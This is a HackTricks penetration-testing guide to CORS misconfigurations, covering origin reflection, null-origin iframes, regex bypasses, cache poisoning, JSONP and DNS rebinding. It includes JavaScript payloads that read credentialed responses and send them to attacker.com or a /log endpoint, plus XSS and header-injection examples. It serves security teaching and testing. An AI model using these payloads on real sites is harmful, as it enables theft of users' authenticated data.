Skip to content

Latest commit

 

History

History
473 lines (329 loc) · 31.5 KB

cors-bypass.md

File metadata and controls

473 lines (329 loc) · 31.5 KB

CORS - Misconfigurations & Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

What is CORS?

Cross-Origin Resource Sharing (CORS) standard enables servers to define who can access their assets and which HTTP request methods are permitted from external sources.

A same-origin policy mandates that a server requesting a resource and the server hosting the resource share the same protocol (e.g., http://), domain name (e.g., internal-web.com), and port (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.

The application of the same-origin policy in the context of http://normal-website.com/example/example.html is illustrated as follows:

URL accessed Access permitted?
http://normal-website.com/example/ Yes: Identical scheme, domain, and port
http://normal-website.com/example2/ Yes: Identical scheme, domain, and port
https://normal-website.com/example/ No: Different scheme and port
http://en.normal-website.com/example/ No: Different domain
http://www.normal-website.com/example/ No: Different domain
http://normal-website.com:8080/example/ No: Different port*

*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.

Access-Control-Allow-Origin Header

This header can allow multiple origins, a null value, or a wildcard *. However, no browser supports multiple origins, and the use of the wildcard * is subject to limitations. (The wildcard must be used alone, and its use alongside Access-Control-Allow-Credentials: true is not permitted.)

This header is issued by a server in response to a cross-domain resource request initiated by a website, with the browser automatically adding an Origin header.

Access-Control-Allow-Credentials Header

By default, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the Access-Control-Allow-Credentials header to true.

If set to true, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        console.log(xhr.responseText);
    }
}
xhr.open('GET', 'http://example.com/', true); 
xhr.withCredentials = true; 
xhr.send(null);
fetch(url, {
  credentials: 'include'  
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

When initiating a cross-domain request under specific conditions, such as using a non-standard HTTP method (anything other than HEAD, GET, POST), introducing new headers, or employing a special Content-Type header value, a pre-flight request may be required. This preliminary request, leveraging the OPTIONS method, serves to inform the server of the forthcoming cross-origin request's intentions, including the HTTP methods and headers it intends to use.

The Cross-Origin Resource Sharing (CORS) protocol mandates this pre-flight check to determine the feasibility of the requested cross-origin operation by verifying the allowed methods, headers, and the trustworthiness of the origin. For a detailed understanding of what conditions circumvent the need for a pre-flight request, refer to the comprehensive guide provided by Mozilla Developer Network (MDN).

It's crucial to note that the absence of a pre-flight request does not negate the requirement for the response to carry authorization headers. Without these headers, the browser is incapacitated in its ability to process the response from the cross-origin request.

Consider the following illustration of a pre-flight request aimed at employing the PUT method along with a custom header named Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In response, the server might return headers indicating the accepted methods, the allowed origin, and other CORS policy details, as shown below:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: This header specifies which headers can be used during the actual request. It is set by the server to indicate the allowed headers in requests from the client.
  • Access-Control-Expose-Headers: Through this header, the server informs the client about which headers can be exposed as part of the response besides the simple response headers.
  • Access-Control-Max-Age: This header indicates how long the results of a pre-flight request can be cached. The server sets the maximum time, in seconds, that the information returned by a pre-flight request may be reused.
  • Access-Control-Request-Headers: Used in pre-flight requests, this header is set by the client to inform the server about which HTTP headers the client wants to use in the actual request.
  • Access-Control-Request-Method: This header, also used in pre-flight requests, is set by the client to indicate which HTTP method will be used in the actual request.
  • Origin: This header is automatically set by the browser and indicates the origin of the cross-origin request. It is used by the server to assess whether the incoming request should be allowed or denied based on the CORS policy.

Note that usually (depending on the content-type and headers set) in a GET/POST request no pre-flight request is sent (the request is sent directly), but if you want to access the headers/body of the response, it must contains an Access-Control-Allow-Origin header allowing it.
Therefore, CORS doesn't protect against CSRF (but it can be helpful).

Local Network Requests Pre-flight request

  1. Access-Control-Request-Local-Network: This header is included in the client's request to signify that the inquiry is aimed at a local network resource. It serves as a marker to inform the server that the request originates from within the local network.
  2. Access-Control-Allow-Local-Network: In response, servers utilize this header to communicate that the requested resource is permitted to be shared with entities outside of the local network. It acts as a green light for sharing resources across different network boundaries, ensuring controlled access while maintaining security protocols.

A valid response allowing the local network request needs to have also in the response the header Access-Controls-Allow-Local_network: true :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Note that the linux 0.0.0.0 IP works to bypass these requirements to access localhost as that IP address is not considered "local".

It's also possible to bypass the Local Network requirements if you use the public IP address of a local endpoint (like the public IP of the router). Because in several occasions, even if the public IP is being accessed, if it's from the local network, access will be granted. {% endhint %}

Wildcards

Note that even if the following configuration might look super permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this.

Exploitable misconfigurations

It has been observed that the setting of Access-Control-Allow-Credentials to true is a prerequisite for most real attacks. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.

Exception: Exploiting Network Location as Authentication

An exception exists where the victim's network location acts as a form of authentication. This allows for the victim's browser to be used as a proxy, circumventing IP-based authentication to access intranet applications. This method shares similarities in impact with DNS rebinding but is simpler to exploit.

Reflection of Origin in Access-Control-Allow-Origin

The real-world scenario where the Origin header's value is reflected in Access-Control-Allow-Origin is theoretically improbable due to restrictions on combining these headers. However, developers seeking to enable CORS for multiple URLs may dynamically generate the Access-Control-Allow-Origin header by copying the Origin header's value. This approach can introduce vulnerabilities, particularly when an attacker employs a domain with a name designed to appear legitimate, thereby deceiving the validation logic.

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://example.com/details',true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

Exploiting the null Origin

The null origin, specified for situations like redirects or local HTML files, holds a unique position. Some applications whitelist this origin to facilitate local development, inadvertently allowing any website to mimic a null origin through a sandboxed iframe, thus bypassing CORS restrictions.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://example/details',true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://example/details',true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>

Regular Expression Bypass Techniques

When encountering a domain whitelist, it's crucial to test for bypass opportunities, such as appending the attacker's domain to a whitelisted domain or exploiting subdomain takeover vulnerabilities. Additionally, regular expressions used for domain validation may overlook nuances in domain naming conventions, presenting further bypass opportunities.

Advanced Regular Expression Bypasses

Regex patterns typically concentrate on alphanumeric, dot (.), and hyphen (-) characters, neglecting other possibilities. For example, a domain name crafted to include characters interpreted differently by browsers and regex patterns can bypass security checks. Safari, Chrome, and Firefox's handling of underscore characters in subdomains illustrates how such discrepancies can be exploited to circumvent domain validation logic.

For more information and settings of this bypass check: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Developers often implement defensive mechanisms to protect against CORS exploitation by whitelisting domains that are permitted to request information. Despite these precautions, the system's security is not foolproof. The presence of even a single vulnerable subdomain within the whitelisted domains can open the door to CORS exploitation through other vulnerabilities, such as XSS (Cross-Site Scripting).

To illustrate, consider the scenario where a domain, requester.com, is whitelisted to access resources from another domain, provider.com. The server-side configuration might look something like this:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
  // Access data
} else {
  // Unauthorized access
}

In this setup, all subdomains of requester.com are allowed access. However, if a subdomain, say sub.requester.com, is compromised with an XSS vulnerability, an attacker can leverage this weakness. For example, an attacker with access to sub.requester.com could exploit the XSS vulnerability to bypass CORS policies and maliciously access resources on provider.com.

Special Characters

PortSwigger’s URL validation bypass cheat sheet found that some browsers support strange characters within domain names.

Chrome and Firefox support underscores _ that can bypass regexes implemented to validate the Origin header:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari is even more lax accepting special characters in the domain name:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Other funny URL tricks

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Server-side cache poisoning

From this research

It's possible that by exploiting server-side cache poisoning through HTTP header injection, a stored Cross-Site Scripting (XSS) vulnerability can be induced. This scenario unfolds when an application fails to sanitize the Origin header for illegal characters, creating a vulnerability particularly for Internet Explorer and Edge users. These browsers treat (0x0d) as a legitimate HTTP header terminator, leading to HTTP header injection vulnerabilities.

Consider the following request where the Origin header is manipulated:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer and Edge interpret the response as:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a X-User-id header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.

Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the Vary: Origin header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.

To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the Vary: Origin header.

Here's a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, also known as Cross-Site Script Inclusion, is a type of vulnerability that takes advantage of the fact that the Same Origin Policy (SOP) does not apply when including resources using the script tag. This is because scripts need to be able to be included from different domains. This vulnerability allows an attacker to access and read any content that was included using the script tag.

This vulnerability becomes particularly significant when it comes to dynamic JavaScript or JSONP (JSON with Padding), especially when ambient-authority information like cookies are used for authentication. When requesting a resource from a different host, the cookies are included, making them accessible to the attacker.

To better understand and mitigate this vulnerability, you can use the BurpSuite plugin available at https://github.com/kapytein/jsonp. This plugin can help identify and address potential XSSI vulnerabilities in your web applications.

Read more about the difefrent types of XSSI and how to exploit them here.

Try to add a callback parameter in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will send back the data with Content-Type: application/javascript which will bypass the CORS policy.

Easy (useless?) bypass

One way to bypass the Access-Control-Allow-Origin restriction is by requesting a web application to make a request on your behalf and send back the response. However, in this scenario, the credentials of the final victim won't be sent as the request is made to a different domain.

  1. CORS-escape: This tool provides a proxy that forwards your request along with its headers, while also spoofing the Origin header to match the requested domain. This effectively bypasses the CORS policy. Here's an example usage with XMLHttpRequest:
  2. simple-cors-escape: This tool offers an alternative approach to proxying requests. Instead of passing on your request as-is, the server makes its own request with the specified parameters.

Iframe + Popup Bypass

You can bypass CORS checks such as e.origin === window.origin by creating an iframe and from it opening a new window. More information in the following page:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

DNS rebinding via TTL is a technique used to bypass certain security measures by manipulating DNS records. Here's how it works:

  1. The attacker creates a web page and makes the victim access it.
  2. The attacker then changes the DNS (IP) of their own domain to point to the victim's web page.
  3. The victim's browser caches the DNS response, which may have a TTL (Time to Live) value indicating how long the DNS record should be considered valid.
  4. When the TTL expires, the victim's browser makes a new DNS request, allowing the attacker to execute JavaScript code on the victim's page.
  5. By maintaining control over the IP of the victim, the attacker can gather information from the victim without sending any cookies to the victim server.

It's important to note that browsers have caching mechanisms that may prevent immediate abuse of this technique, even with low TTL values.

DNS rebinding can be useful for bypassing explicit IP checks performed by the victim or for scenarios where a user or bot remains on the same page for an extended period, allowing the cache to expire.

If you need a quick way to abuse DNS rebinding, you can use services like https://lock.cmpxchg8b.com/rebinder.html.

To run your own DNS rebinding server, you can utilize tools like DNSrebinder (https://github.com/mogwailabs/DNSrebinder). This involves exposing your local port 53/udp, creating an A record pointing to it (e.g., ns.example.com), and creating an NS record pointing to the previously created A subdomain (e.g., ns.example.com). Any subdomain of the ns.example.com subdomain will then be resolved by your host.

You can also explore a publicly running server at http://rebind.it/singularity.html for further understanding and experimentation.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding is another technique used to bypass the caching mechanism of browsers and force a second DNS request. Here's how it works:

  1. Initially, when the victim makes a DNS request, it is responded with the attacker's IP address.
  2. To bypass the caching defense, the attacker leverages a service worker. The service worker floods the DNS cache, which effectively deletes the cached attacker server name.
  3. When the victim's browser makes a second DNS request, it is now responded with the IP address 127.0.0.1, which typically refers to the localhost.

By flooding the DNS cache with the service worker, the attacker can manipulate the DNS resolution process and force the victim's browser to make a second request, this time resolving to the attacker's desired IP address.

DNS Rebinding via Cache

Another way to bypass the caching defense is by utilizing multiple IP addresses for the same subdomain in the DNS provider. Here's how it works:

  1. The attacker sets up two A records (or a single A record with two IPs) for the same subdomain in the DNS provider.
  2. When a browser checks for these records, it receives both IP addresses.
  3. If the browser decides to use the attacker's IP address first, the attacker can serve a payload that performs HTTP requests to the same domain.
  4. However, once the attacker obtains the victim's IP address, they stop responding to the victim's browser.
  5. The victim's browser, upon realizing that the domain is unresponsive, moves on to use the second given IP address.
  6. By accessing the second IP address, the browser bypasses the Same Origin Policy (SOP), allowing the attacker to abuse this and gather and exfiltrate information.

This technique leverages the behavior of browsers when multiple IP addresses are provided for a domain. By strategically controlling the responses and manipulating the browser's choice of IP address, an attacker can exploit the SOP and access information from the victim.

{% hint style="warning" %} Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didn't allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them "0.0.0.0"

{% endhint %}

For more info you can check https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • If internal IPs aren't allowed, they might forgot forbidding 0.0.0.0 (works on Linux and Mac)
  • If internal IPs aren't allowed, respond with a CNAME to localhost (works on Linux and Ma
  • If internal IPs aren't allowed as DNS responses, you can respond CNAMEs to internal services such as www.corporate.internal.

DNS Rebidding Weaponized

You can find more information about the previous bypass techniques and how to use the following tool in the talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.

Real Protection against DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Tools

Fuzz possible misconfigurations in CORS policies

References

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}